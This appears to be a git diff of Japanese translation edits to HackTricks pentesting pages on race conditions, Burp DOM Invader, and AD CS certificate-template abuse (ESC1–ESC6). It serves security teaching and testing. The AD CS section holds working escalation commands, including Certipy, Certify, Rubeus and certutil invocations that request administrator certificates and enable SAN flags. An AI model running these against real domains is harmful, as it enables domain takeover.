これは最も基本的なタイプの競合状態であり、**アクションを実行できる回数を制限する場所に現れる** **脆弱性**が存在します。たとえば、ウェブストアで同じ割引コードを複数回使用することです。[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)****に非常に簡単な例があります。
@ -209,47 +209,47 @@ asyncio.run(main())
### **隠れたサブステート**
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていない状態を**乱用**できるマシンのサブステートを悪用しますが、攻撃者がアクセスするための**小さなウィンドウ**があります。
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていない状態を**乱用**できる可能性のある**マシンのサブステート**を悪用しますが、攻撃者がアクセスするための**小さなウィンドウ**があります。
1. **潜在的な隠れた興味深いサブステートを予測する**
最初のステップは、それに書き込むか、それからデータを読み取り、それを重要な何かに使用するすべてのエンドポイントを特定することです。たとえば、ユーザーは登録、プロファイル編集、パスワードリセットの開始、パスワードリセットの完了によって変更されるデータベーステーブルに保存される場合があります。
エンドポイントが衝突を引き起こす可能性が低い場合は、3つのキーの質問を使用して除外できます。各オブジェクトと関連するエンドポイントについて、次のように尋ねます。
エンドポイントと関連するエンドポイントごとに、次の3つの重要な質問を使用して、衝突の可能性が低いエンドポイントを除外します。
* **状態はどのように保存されていますか?**
永続的なサーバーサイドのデータ構造に保存されているデータは、悪用に適しています。一部のエンドポイントは、パスワードリセットなど、JWTをメールで送信することによって機能するパスワードリセットなど、状態を完全にクライアントサイドに保存します。これらは安全にスキップできます。
永続的なサーバーサイドのデータ構造に保存されているデータは、悪用に適しています。一部のエンドポイントは、パスワードリセットなど、JWTをメールで送信することによって動作するように、完全にクライアントサイドに状態を保存します。これらは安全にスキップできます。
アプリケーションは、ユーザーセッションに一部の状態を保存することがよくあります。これらは通常、サブステートに対してある程度保護されています - これについては後で詳しく説明します。
アプリケーションは、ユーザーセッションに一部の状態を保存することがよくあります。これらは通常、サブステートに対してある程度保護されています後で詳しく説明します。
* **編集または追加していますか?**
既存のデータを編集する操作(アカウントの主なメールアドレスを変更するなど)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスを追加するなど)は、制限オーバーラン攻撃以外の脆弱性に対して脆弱ではありません
既存のデータを編集する操作(アカウントの主なメールアドレスの変更など)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスの追加など)は、制限超過攻撃以外の脆弱性に対して脆弱性を持つ可能性は低いです
* **操作は何にキー付けれていますか?**
* **操作は何にキー付けれていますか?**
ほとんどのエンドポイントは、ユーザ名、パスワードリセットトークン、ファイル名などの「キー」を使用して検索される特定のレコードで動作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください。
ほとんどのエンドポイントは、ユーザ名、パスワードリセットトークン、ファイル名などの「キー」を使用して検索される特定のレコードで動作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください。
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2. **手がかりを探る**
この時点で、潜在的に興味深いエンドポイントに対していくつかのRC攻撃を**実行**して、通常のものとは異なる結果を見つけようとします。応答の変化、または異なるメールの内容やセッションの目に見える変化など、予想される応答からの逸脱は、何かが間違っていることを示す手がかりなる可能性があります。
この時点で、潜在的に興味深いエンドポイントに対していくつかのRC攻撃を**実行**して、通常のものとは異なる結果を見つけようとします。応答の変化、または異なるメールの内容やセッションの目に見える変化など、予想される応答からの逸脱は、何かが間違っていることを示す手がかりなる可能性があります。
3. **コンセプトを証明する**
最後のステップは、**コンセプトを証明し、攻撃可能な攻撃に変える**ことです。
一括リクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できないものになります。このシナリオでは、不要なリクエストをすべて削除する必要があります - 2つのリクエストがほとんどの脆弱性を攻撃するために十分です。ただし、2つのリクエストにすると、攻撃はタイミングに敏感になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
一括リクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できないものになります。このシナリオでは、不要なリクエストをすべて削除する必要があります。ほとんどの脆弱性を悪用するには2つのリクエストが十分です。ただし、2つのリクエストにすると、攻撃のタイミングがより重要になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
### タイムセンシティブ攻撃
場合によっては、競合状態を見つけることができないかもしれませんが、**正確なタイミングでリクエストを送信するための技術**は、他の脆弱性の存在を明らかにすることができます。
そのような例の1つは、セキュリティトークンを生成するために、**暗号化されたランダムな文字列の代わりに高解像度のタイムスタンプが使用される場合**です。
その一例として、セキュリティトークンを生成するために、**暗号化されたランダムな文字列の代わりに高解像度のタイムスタンプが使用される**場合があります。
タイムスタンプのみを使用してランダム化された**パスワードリセットトークン**を考えてみましょう。この場合、2つの異なるユーザーのために2つのパスワードリセットをトリガーし、**同じトークン**を使用することが可能かもしれません。リクエストをタイミング良く行うだけで、同じタイムスタンプが生成されるようにする必要があります
タイムスタンプのみを使用してランダム化された**パスワードリセットトークン**を考えてみましょう。この場合、**同じトークン**を生成するようにリクエストのタイミングを合わせることで、**2つの異なるユーザーのために2つのパスワードリセットをトリガー**することができるかもしれません
{% hint style="warning" %}
たとえば、前述の状況を確認するには、**同時に2つのパスワードリセットトークンを要求**(シングルパケット攻撃を使用)し、それらが**同じ**かどうかを確認します。
@ -265,17 +265,17 @@ asyncio.run(main())
### 他のメールの確認
アイデアは、**メールアドレスを確認し、同時に別のメールアドレスに変更**し、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
アイデアは、**メールアドレスを確認し、同時に別のメールアドレスに変更**し、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
### 2つのメールアドレスにCookieを使用してメールアドレスを変更する
[**この解説**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取りの脆弱性がありました。なぜなら、Gitlabは**1つのメールアドレスのメール確認トークンを他のメールアドレスに送信**する可能性があるからです。
[**この解説**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる可能性がありました。なぜなら、Gitlabは**1つのメールアドレスのメール確認トークンを他のメールアドレスに送信**する可能性があるからです。
これについては、[**このラボ**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)もチェックしてください。
### 隠れたデータベースの状態/確認バイパス
**2つの異なる書き込み**が使用されて**データベース**に
**2つの異なる書き込み**が使用されて**データベース**に**情報**を**追加**する場合、最初のデータがデータベースに書き込まれた後、**2番目のデータが
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -292,11 +292,11 @@ session['enforce_mfa'] = True
#### `authorization_code`における競合状態
**問題**は、**それを受け入れ**、自動的に**`authorization_code`**を悪意のあるアプリケーションに送信するときに発生します。その後、この**アプリケーションはOAuthサービスプロバイダー内の競合状態を悪用して、`authorization_code`から複数のAT/RT**_認証トークン/リフレッシュトークン_を生成します。基本的には、あなたがアプリケーションがデータにアクセスすることを許可したことを悪用して、**複数のアカウントを作成**します。その後、**アプリケーションにデータへのアクセスを許可しなくなると、1つのAT/RTのペアは削除されますが、他のものは有効のまま**です。
**問題**は、**それを受け入れ**、自動的に**`authorization_code`**を悪意のあるアプリケーションに送信するときに発生します。その後、この**アプリケーションはOAuthサービスプロバイダー内の競合状態を悪用して、`authorization_code`から複数のAT/RT**_認証トークン/リフレッシュトークン_あなたのアカウントに生成します。基本的には、あなたがアプリケーションがデータにアクセスすることを許可したことを悪用して、**複数のアカウントを作成**します。その後、**アプリケーションにデータへのアクセスを許可しなくなると、1つのAT/RTのペアは削除されますが、他のものは有効のまま**です。
#### `Refresh Token`における競合状態
有効なRTを**取得した後**、それを悪用して複数のAT/RTを生成しようとすることができます。そして、ユーザーが悪意のあるアプリケーションに対してアクセス許可をキャンセルした場合でも、**複数のRTは有効のまま**です。
有効なRTを**取得した後**、それを悪用して複数のAT/RTを生成しようとすることができます。そして、ユーザーが悪意のあるアプリケーションに対してアクセス許可をキャンセルしたとしても、**複数のRTは有効のまま**です。
## 参考文献
@ -310,11 +310,11 @@ session['enforce_mfa'] = True
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -31,7 +31,7 @@ Burpの組み込みブラウザで**Burp拡張機能**に移動し、有効に
次に、ページを更新し、**Dev Tools**で**DOM Invaderタブ**が表示されます:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### カナリアを注入する
@ -45,7 +45,7 @@ Burpの組み込みブラウザで**Burp拡張機能**に移動し、有効に
### メッセージの送信
DOM Invaderを使用してウェブメッセージを使用したDOM XSSをテストすることができます。次の機能があります。
DOM Invaderでは、DOM XSSを使用してウェブメッセージをテストすることができます。次のような機能があります。
1. `postMessage()`を介して送信されたウェブメッセージの**ログ記録**。これは、Burp ProxyのHTTPリクエスト/レスポンス履歴のログ記録に似ています。
2. DOM XSSを手動でテストするために、ウェブメッセージの**編集**と**再発行**。これは、Burp Repeaterの機能に似ています。
@ -57,7 +57,7 @@ DOM Invaderを使用して、ウェブメッセージを使用したDOM XSSを
* **`origin`**:メッセージの**オリジン情報がチェックされていない**場合、任意の外部ドメインからイベントハンドラにクロスオリジンメッセージを送信できる場合があります。ただし、チェックされていても安全ではない可能性があります。
* **`data`**:ここにペイロードが送信されます。このデータが使用されない場合、シンクは無効です。
* **`source`**通常はiframeを参照するソースプロパティが検証されているかどうかを評価します。これがチェックされていても、検証がバイパスされないことを保証するものではありません。
* **`source`**通常はiframeを参照するソースプロパティが、オリジンではなく検証されているかどうかを評価します。これがチェックされていても、検証が回避できないことを保証するものではありません。
#### メッセージの返信
@ -69,9 +69,9 @@ DOM Invaderを使用して、ウェブメッセージを使用したDOM XSSを
DOM Invaderは、**プロトタイプ汚染の脆弱性**を検索することもできます。まず、有効にする必要があります:
<figure><img src="../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
次に、**`Object.prototype`**に任意のプロパティを追加できる**ソース**を検索します。
次に、**`Object.prototype`**に任意のプロパティを追加できる**ソース**を**検索**します。
何かが見つかると、**テスト**ボタンが表示され、**見つかったソースをテスト**することができます。クリックして、新しいタブが表示され、コンソールでオブジェクトを作成し、`testproperty`が存在するかどうかを確認します。
```javascript

View file

@ -6,7 +6,7 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
@ -23,13 +23,13 @@
* **証明書テンプレートは認証を有効にするEKUを定義**します:
* _クライアント認証OID 1.3.6.1.5.5.7.3.2、PKINITクライアント認証1.3.6.1.5.2.3.4、スマートカードログオンOID 1.3.6.1.4.1.311.20.2.2、任意の目的OID 2.5.29.37.0、またはEKUなしSubCA_
* **証明書テンプレートは、CSRでsubjectAltNameを指定することを要求することができます**
* **AD**は、証明書の**subjectAltName**SANフィールドで指定された**アイデンティティを使用**します**存在する場合。したがって、リクエスタがCSRでSANを指定できる場合、リクエスタは任意の主体(例:ドメイン管理者ユーザーとして証明書を要求できます。証明書テンプレートのADオブジェクトは、リクエスタがその**`mspki-certificate-name-`**`flag`プロパティでSANを指定できるかどうかを指定します。`mspki-certificate-name-flag`プロパティは**ビットマスク**であり、**`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`**フラグが**存在する場合**、リクエスタはSANを指定できます。
* **AD**は、証明書の**subjectAltName**SANフィールドで指定された**アイデンティティを使用**します**存在する場合。したがって、リクエスタがCSRでSANを指定できる場合、リクエスタは**任意の主体**(たとえば、ドメイン管理者ユーザーとして証明書を要求できます。証明書テンプレートのADオブジェクトは、リクエスタが**`mspki-certificate-name-`**`flag`プロパティでSANを指定できるかどうかを**指定**します。`mspki-certificate-name-flag`プロパティは**ビットマスク**であり、**`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`**フラグが**存在する**場合、リクエスタはSANを指定できます。
{% hint style="danger" %}
これらの設定により、**低特権ユーザーは任意のSANを持つ証明書を要求**できるため、低特権ユーザーはKerberosまたはSChannelを介してドメイン内の任意の主体として認証できます。
これらの設定により、**低特権ユーザーが任意のSANを持つ証明書を要求**できるようになり、低特権ユーザーはKerberosまたはSChannelを介してドメイン内の任意の主体として認証できます。
{% endhint %}
これは、例えば、製品や展開サービスがHTTPS証明書やホスト証明書を動的に生成することを許可するために頻繁に有効にされます。または、知識の不足のために有効にされることもあります。
これは、たとえば、製品や展開サービスがHTTPS証明書を生成したり、ホスト証明書を動的に生成するために有効にされることがよくあります。または、知識の不足のためです。
この最後のオプションを持つ証明書が作成されると、**警告が表示**されますが、この構成で**証明書テンプレート**が**複製**される場合は表示されません(`WebServer`テンプレートの場合、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`が有効になっており、管理者が認証OIDを追加する可能性があります
@ -50,7 +50,7 @@ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'E
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Windowsバイナリ「Certreq.exe」と「Certutil.exe」は、PFXを生成するために悪用される可能性がありますhttps://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Windowsバイナリ「Certreq.exe」と「Certutil.exe」は、PFXを生成するために悪用される可能性がありますhttps://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
さらに、ADフォレストの構成スキーマに対して実行される次のLDAPクエリは、承認/署名が不要で、クライアント認証またはスマートカードログオンEKUを持ち、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`フラグが有効になっている**証明書テンプレート**を**列挙**するために使用できます:
```
@ -62,17 +62,17 @@ Windowsのバイナリ「Certreq.exe」と「Certutil.exe」は、PFXを生成
2番目の悪用シナリオは、最初のもののバリエーションです
1. エンタープライズCAは、低特権ユーザーに登録権限を付与します。
1. エンタープライズCAは、低特権ユーザーに対して登録権限を付与します。
2. マネージャーの承認は無効になっています。
3. 承認された署名は必要ありません。
4. 過度に許可された証明書テンプレートのセキュリティ記述子、低特権ユーザーに証明書の登録権限を付与します。
5. **証明書テンプレートは、Any Purpose EKUまたはEKUが定義されていません。**
4. 過度に許可された証明書テンプレートのセキュリティ記述子、低特権ユーザーに証明書の登録権限を付与します。
5. **証明書テンプレートは、Any Purpose EKUまたはEKUが定義されていません。**
**Any Purpose EKU**は、攻撃者がクライアント認証、サーバー認証、コード署名などの**任意の目的**のために**証明書**を取得できるようにします。この場合も、ESC3と同じ**手法**を使用して悪用することができます。
**Any Purpose EKU**は、攻撃者がクライアント認証、サーバー認証、コード署名などの**任意の目的**のために**証明書**を取得することを可能にします。この場合も、ESC3と同じ**手法**を使用してこれを悪用することができます。
**EKUのない証明書**下位CA証明書も同様に**任意の目的**に悪用される可能性がありますが、**新しい証明書に署名する**こともできます。したがって、下位CA証明書を使用して、攻撃者は新しい証明書に**任意のEKUやフィールドを指定**することができます。
**EKUのない証明書**下位CA証明書も同様に**任意の目的**に悪用される可能性がありますが、**新しい証明書に署名するためにも使用できます**。そのため、下位CA証明書を使用して、攻撃者は新しい証明書に**任意のEKUやフィールドを指定**することができます。
ただし、**下位CAが`NTAuthCertificates`オブジェクトによって信頼されていない**場合(デフォルトではそうではありません)、攻撃者は**ドメイン認証**に使用できる**新しい証明書を作成することはできません**。それでも、攻撃者は**任意のEKU**と任意の証明書値を持つ**新しい証明書**を作成することができ、これにはSAML、AD FS、IPSecなどのネットワーク内の他のアプリケーションに対して大きな影響がある可能性があります。
ただし、**下位CAが`NTAuthCertificates`オブジェクトによって信頼されていない**場合(デフォルトではそうではありません)、攻撃者は**ドメイン認証**に対して機能する**新しい証明書を作成することはできません**。それでも、攻撃者は**任意のEKU**と任意の証明書値を持つ**新しい証明書を作成**することができます。これには、悪用の可能性がありますたとえば、コード署名、サーバー認証などし、SAML、AD FS、IPSecなどのネットワーク内の他のアプリケーションに大きな影響を与える可能性があります。
以下のLDAPクエリは、ADフォレストの構成スキーマに対して実行されると、このシナリオに一致するテンプレートを列挙するために使用できます
```
@ -82,25 +82,25 @@ Windowsのバイナリ「Certreq.exe」と「Certutil.exe」は、PFXを生成
### 説明
このシナリオは、最初と2番目のシナリオと同様ですが、**異なるEKU**(証明書リクエストエージェント)と**2つの異なるテンプレート**を**悪用**しています。
このシナリオは、最初と2番目とは異なるEKU証明書リクエストエージェントと2つの異なるテンプレートを悪用するものです。
**証明書リクエストエージェントEKU**OID 1.3.6.1.4.1.311.20.2.1)は、Microsoftのドキュメントでは**登録エージェント**として知られており、主体が**他のユーザーの代わりに証明書を登録**することを可能にします。
Microsoftのドキュメントでは「登録エージェント」として知られる**証明書リクエストエージェントEKU**OID 1.3.6.1.4.1.311.20.2.1)は、**他のユーザーの代わりに証明書の登録**を行うためのプリンシパルを許可します。
**「登録エージェント」**は、このような**テンプレート**に登録し、結果として得られた**証明書を他のユーザーの代わりにCSRに共同署名**します。その後、**共同署名されたCSR**をCAに**送信**し、**「代理で登録」を許可するテンプレート**に登録し、CAは**「他の」ユーザーに属する証明書**で応答します。
「登録エージェント」は、このような**テンプレート**に登録し、結果として得られた**証明書を他のユーザーの代わりにCSRに共同署名**します。その後、**共同署名されたCSR**をCAに送信し、**「代理で登録」を許可するテンプレート**に登録し、CAは「他の」ユーザーに属する証明書を返します。
**要件1**
1. エンタープライズCAは、低特権ユーザーに対して登録権限を許可します。
2. マネージャーの承認は無効す。
2. マネージャーの承認は無効になっています。
3. 承認された署名は必要ありません。
4. 過度に許可された証明書テンプレートのセキュリティ記述子により、低特権ユーザーに証明書の登録権限が与えられます。
5. **証明書テンプレートは、証明書リクエストエージェントEKUを定義**しています。証明書リクエストエージェントOID1.3.6.1.4.1.311.20.2.1)は、他の主体のために他の証明書テンプレートを要求するために使用されます。
5. **証明書テンプレートは、証明書リクエストエージェントEKUを定義**しています。証明書リクエストエージェントOID1.3.6.1.4.1.311.20.2.1)は、他のプリンシパルのために他の証明書テンプレートを要求するために使用されます。
**要件2**
1. エンタープライズCAは、低特権ユーザーに対して登録権限を許可します。
2. マネージャーの承認は無効す。
3. **テンプレートスキーマバージョンが1以上であり、証明書リクエストエージェントEKUを要求するアプリケーションポリシー発行要件が指定されています。**
2. マネージャーの承認は無効になっています。
3. **テンプレートスキーマバージョンが1以上であり、証明書リクエストエージェントEKUを要求するアプリケーションポリシー発行要件が指定されています。**
4. 証明書テンプレートは、ドメイン認証を許可するEKUを定義しています。
5. 登録エージェントの制限はCAに実装されていません。
@ -122,7 +122,7 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
```
Enterprise CAsは、`certsrc.msc`スナップインを開き、CAを右クリックしてプロパティをクリックし、「Enrollment Agents」タブに移動することで、**誰が登録エージェント証明書を取得できるか**、**エージェントが登録できるテンプレート**、およびエージェントが**代理でアクションを実行できるアカウント**を**制約**することができます。
ただし、**デフォルトの**CA設定は「**登録エージェントを制限しない**」です。管理者が「登録エージェントを制限する」を有効にしても、デフォルトの設定は非常に許容範囲が広く、誰でも誰のテンプレートでも登録できるようになっています。
ただし、**デフォルトの**CA設定は「**登録エージェントを制限しない**」です。管理者が「登録エージェントを制限する」を有効にしても、デフォルトの設定は非常に許容範囲が広く、誰でも誰のテンプレートでもアクセスできるようになっています。
## 脆弱な証明書テンプレートのアクセス制御 - ESC4
@ -130,7 +130,7 @@ Enterprise CAsは、`certsrc.msc`スナップインを開き、CAを右クリッ
**証明書テンプレート**には、特定の**ADプリンシパル**がテンプレートに対して特定の**権限を持つかどうかを指定するセキュリティ記述子**があります。
もし**攻撃者**が**テンプレートを変更**し、前のセクションで説明した**脆弱性のある設定**を作成するための**十分な権限**を持っている場合、それを悪用して**特権を昇格**させることができます。
もし**攻撃者**がテンプレートを**変更**し、前のセクションで説明した**脆弱性のある設定**を作成するための**十分な権限**を持っている場合、それを悪用して**特権をエスカレート**させることができます。
証明書テンプレートに関する興味深い権限:
@ -148,7 +148,7 @@ Enterprise CAsは、`certsrc.msc`スナップインを開き、CAを右クリッ
ESC4は、ユーザーが証明書テンプレートに対して書き込み権限を持っている場合の特権昇格です。これは、例えば証明書テンプレートの構成を上書きしてテンプレートをESC1に対して脆弱にするために悪用される可能性があります。
上記のパスでわかるように、書き込み権限を持っているのは`JOHNPC`だけですが、ユーザー`JOHN`は`JOHNPC`に対して新しい`AddKeyCredentialLink`エッジを持っています。この攻撃は証明書に関連しているため、[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)としても知られる攻撃を実装しています。以下は、被害者のNTハッシュを取得するためのCertipyの`shadow auto`コマンドの一部です。
上記のパスでわかるように、書き込み権限を持っているのは`JOHNPC`だけですが、私たちのユーザー`JOHN`は`JOHNPC`に対して新しい`AddKeyCredentialLink`エッジを持っています。この攻撃は証明書に関連しているため、[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)としても知られる攻撃を実装しました。ここでは、Certipyの`shadow auto`コマンドを使用して被害者のNTハッシュを取得する一部をご紹介します。
<figure><img src="../../../.gitbook/assets/image (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
@ -167,22 +167,22 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
### 説明
AD CSのセキュリティに影響を与えるACLベースの関係のウェブは広範であり、証明書テンプレートや証明機関自体以外のいくつかのオブジェクトがAD CSシステム全体のセキュリティに影響を与える可能性があります。これには以下が含まれます(ただし、これに限定されません):
AD CSのセキュリティに影響を与えるACLベースの相互接続されたウェブは広範囲です。証明書テンプレートや証明書機関自体以外のいくつかの**オブジェクト**が、**AD CSシステム全体にセキュリティ上の影響**を与える可能性があります。これには以下が含まれます(ただし、これに限定されません):
* CAサーバーのADコンピュータオブジェクトS4U2SelfまたはS4U2Proxyを介した侵害
* CAサーバーのRPC/DCOMサーバー
* `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`コンテナ内の任意の子孫ADオブジェクトまたはコンテナ証明書テンプレートコンテナ、認証機関コンテナ、NTAuthCertificatesオブジェクト、登録サービスコンテナなど
* **CAサーバーのADコンピュータオブジェクト**S4U2SelfまたはS4U2Proxyを介した侵害
* **CAサーバーのRPC/DCOMサーバー**
* `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`**子孫ADオブジェクトまたはコンテナ**証明書テンプレートコンテナ、認証機関コンテナ、NTAuthCertificatesオブジェクト、登録サービスコンテナなど
低特権の攻撃者がこれらのいずれかを制御できる場合、攻撃はおそらくPKIシステムを危険にさらすことができます。
低特権の攻撃者がこれらのいずれかを**制御**できる場合、攻撃はおそらく**PKIシステムを侵害**することができます。
## EDITF\_ATTRIBUTESUBJECTALTNAME2 - ESC6
### 説明
もう1つの類似の問題があり、[**CQure Academyの投稿**](https://cqureacademy.com/blog/enhanced-key-usage)で説明されています。これは**`EDITF_ATTRIBUTESUBJECTALTNAME2`**フラグに関連しています。Microsoftによれば、「このフラグがCAに設定されている場合、Active Directory®からサブジェクトが構築される場合を含む**任意のリクエスト**には**ユーザー定義の値**が**サブジェクトの代替名**に含まれることがあります。」\
これは、**攻撃者**が、ドメイン**認証**に構成された**任意のテンプレート**に登録し、(たとえば、デフォルトのユーザーテンプレートなど)**特権のないユーザー**が登録できる証明書を取得し、ドメイン管理者(または**他のアクティブなユーザー/マシン**)として認証することができる証明書を取得できることを意味します。
もう1つの類似の問題があり、[**CQure Academyの投稿**](https://cqureacademy.com/blog/enhanced-key-usage)で説明されています。これは**`EDITF_ATTRIBUTESUBJECTALTNAME2`**フラグに関連しています。Microsoftによれば、「このフラグがCAに設定されている場合、Active Directory®からサブジェクトが構築される場合を含む**任意のリクエスト**には**ユーザー定義の値**が**代替名**に含まれる可能性があります。」\
これは、**攻撃者**が、ドメイン**認証**に構成された**任意のテンプレート**に登録し、(たとえば、デフォルトのユーザーテンプレートなど)**特権のないユーザー**が登録できる証明書を取得し、ドメイン管理者(または**他のアクティブなユーザー/マシン**)として認証することができることを意味します。
**注意**: ここでの**代替名**は、`certreq.exe`の`-attrib "SAN:"`引数を使用してCSRに含まれますつまり、「名前値ペア」。これは、ESC1でSANを悪用する方法とは異なり、アカウント情報を証明書の拡張子ではなく証明書属性に格納する方法です。
**注意**: ここでの**代替名**は、`certreq.exe`の`-attrib "SAN:"`引数を使用してCSRに含まれますつまり、「名前値ペア」。これは、ESC1でSANを悪用する方法とは**異なり、アカウント情報を証明書の拡張子ではなく証明書属性に格納**します。
### 悪用
@ -190,7 +190,7 @@ AD CSのセキュリティに影響を与えるACLベースの関係のウェブ
```bash
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
```
以下は単に**リモート****レジストリ**を使用しているため、次のコマンドも機能する場合があります:
以下は単に**リモート****レジストリ**を使用しているため、次のコマンドも機能する場合があります
```
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
@ -203,7 +203,7 @@ Certify.exe find
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
これらの設定は、ドメイン管理者(または同等の権限を持つ)権限を持つ場合、どのシステムからでも**設定**することができます。
これらの設定は、ドメイン管理者(または同等の権限を持つユーザー)の権限がある場合、どのシステムからでも**設定**することができます。
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
